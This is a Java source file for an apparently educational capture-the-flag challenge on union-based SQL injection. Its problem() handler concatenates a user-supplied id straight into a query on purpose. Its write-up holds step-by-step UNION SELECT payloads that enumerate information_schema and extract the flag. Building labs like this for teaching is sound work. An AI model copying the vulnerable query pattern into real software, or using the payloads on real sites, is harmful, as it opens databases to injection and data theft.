package tum0r.server.problem.web.sql_injection.union;

import tum0r.generate_code.database.DB;
import tum0r.model.ProblemInfoItem;
import tum0r.model.ProblemLevel;
import tum0r.model.ret.RetNews;
import tum0r.server.problem.ProblemBase;
import tum0r.webengine.annotation.Param;
import tum0r.webengine.annotation.Server;
import tum0r.webengine.utils.server.action.Action;

@Server(Mapping = "/security/problem/web/sql_injection/union/low")
public class Low extends ProblemBase {
    public Low() {
        information.ProblemTitle = "入门级SQL注入";
        information.ProblemID = 1;
        information.Creator = "tum0r";
        information.ProblemLevel = ProblemLevel.Entry;
        information.CreateTime = "2020/03/14";
        ProblemInfoItem problem = new ProblemInfoItem("problem", null);
        problem.addParameter("id", "String");
        information.ProblemInfo.add(problem);
    }

    @Override
    public void description(Action<String> action) {
        action.callBack("年轻人不要总想搞个大新闻，闷声才能发大财");
    }

    @Override
    public void tips(Action<String> action) {
        action.callBack("String sql = \"SELECT * FROM news WHERE ID = \" + id;");
    }

    @Override
    public void writeUp(Action<String> action) {
        action.callBack("""
                0、测试id=2和id=1+1结果相同，判断为数字型SQL注入
                                
                1、UNION获取字段列
                problem?id=1 UNION SELECT 1,2,3,4
                                
                2、获取数据库名称
                problem?id=1 UNION ALL SELECT 2,3,database(),5 ORDER BY 1 DESC
                                
                3、获取表名
                problem?id=1 UNION ALL SELECT 2,2,GROUP_CONCAT(TABLE_NAME),5 FROM information_schema.TABLES WHERE TABLE_SCHEMA = 'security' ORDER BY 1 DESC
                                
                4、获取f1ag表的字段名
                problem?id=1 UNION ALL SELECT 2,3,GROUP_CONCAT(COLUMN_NAME),5 FROM information_schema.`COLUMNS` WHERE TABLE_SCHEMA='security' AND TABLE_NAME='f1ag' ORDER BY 1 DESC
                                
                5、根据本题的ProblemID获取flag
                problem?id=1 UNION ALL SELECT 2,3,Fla9,5 FROM f1ag WHERE ProblemID %3D 1 ORDER BY 1 DESC
                """);
    }

    public void problem(@Param("id") String id, Action<String> action) {
        String sql = "SELECT * FROM news WHERE ID = " + id;

        RetNews news = null;
        try {
            news = DB._Write._DAO.selectObjectUnsafe(sql, RetNews.class);
        } catch (Exception ignored) {
        }

        action.callBack(news != null ? ("Title: " + news.Title + "\n" +
                "Content: " + news.Content + "\n") : "Not found");
    }
}
